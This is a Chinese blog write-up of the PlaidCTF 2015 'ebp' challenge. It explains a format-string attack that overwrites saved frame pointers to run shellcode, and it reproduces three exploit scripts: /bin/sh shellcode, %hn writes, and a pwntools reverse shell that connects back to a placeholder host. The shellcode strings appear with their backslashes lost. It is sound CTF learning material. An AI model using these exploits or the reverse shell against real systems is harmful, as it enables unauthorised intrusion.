zoukankan      html  css  js  c++  java
  • plaidctf2015 ebp

      很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。

      不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。

      第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。

      第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。

      这样,echo在返回的时候将执行shellcode。

      比赛时自己的poc如下:

     1 from socket import *
     2 import time
     3 shellcode="x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x59x50x5axb0x0bxcdx80
    "
     4 sock = socket(AF_INET, SOCK_STREAM)
     5 #sock.connect(("192.168.200.7", 10001)) #local debug
     6 sock.connect(("52.6.64.173", 4545))#remote
     7 time.sleep(1)
     8 infoleak="%x%x%x%x
    "
     9 sock.send(infoleak)
    10 time.sleep(1)
    11 leak=sock.recv(1024)
    12 print leak
    13 echo_ebp=leak[-6:-2]
    14 print echo_ebp
    15 echo_ebp=int(echo_ebp,16)
    16 make_ebp=echo_ebp-32
    17 main_ebp=echo_ebp+32
    18 print hex(make_ebp)
    19 
    20 format1="%%%dc" % make_ebp + "%4$hn
    "
    21 sock.send(format1)
    22 print sock.recv(1024)
    23 
    24 format2="x90x90xebx0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "x90"*10 + shellcode + "
    "
    25 sock.send(format2)
    26 print sock.recv(1024)
    27 
    28 while 1:
    29      sock.send(raw_input('$ ')+'
    ')
    30      time.sleep(1)
    31      print sock.recv(1024)
    32 sock.close()

      结果:

      此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。

     1 import socket
     2 import struct
     3 import telnetlib
     4 
     5 response = 0x0804a480
     6 
     7 offset = 4 # saved frame pointer offset 
     8 
     9 shellcode = (  # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
    10   "x6ax0bx58x99x52x68x2fx2f"
    11         "x73x68x68x2fx62x69x6ex54"
    12         "x5bx52x53x54x59x0fx34"
    13 )
    14 
    15 s = socket.create_connection(("52.6.64.173", 4545 ))
    16 #s = socket.create_connection(("127.0.0.1", 8080 ))
    17 s.send("%4$p
    ")
    18 addr = int(s.recv(1024), 16)
    19 print "[+] Leaked Address: ", hex(addr)
    20 addr1 = (addr - 0x1c) & 0xffff
    21 print "[+] 2Byte Significant Byte to write : ", hex(addr1) 
    22 
    23 s.send("%"+str(addr1)+"x%"+str(offset)+"$hn
    ")
    24 s.recv(4096)
    25 
    26 s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn
    ")
    27 print "[+] Here you go"
    28 t = telnetlib.Telnet()
    29 t.sock = s
    30 t.interact()

      还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:

     1 #!/usr/bin/env python
     2 from pwn import *
     3 
     4 r = remote("52.6.64.173", 4545)
     5 
     6 buf_addr = p32(0x0804a080)
     7 sc_addr  = p32(0x0804A09b)
     8 
     9 payload =  ""
    10 payload += "%134520975u%4$n"
    11 payload += buf_addr
    12 payload += sc_addr
    13 payload += "AAAA"
    14 
    15 payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
    16 payload += asm(shellcraft.linux.dupsh())
    17 
    18 print "+ sending payload"
    19 r.send(payload + "
    ")
    20 print "+ got back:", r.recv()
  • 相关阅读:
    串匹配模式中的BF算法和KMP算法
    “隐藏与显示”的多种方法实现
    原生js实现tooltip提示框的效果
    心向旋转巧得木马 峰回路转偶得时钟
    jQuery 之 验证表单
    Java代码添加背景音乐
    svg动画 之 我的自制太阳系
    java_22 Map接口
    java_22.1 Map 的应用
    java_18 Collection接口
  • 原文地址:https://www.cnblogs.com/wangaohui/p/4455048.html
Copyright © 2011-2022 走看看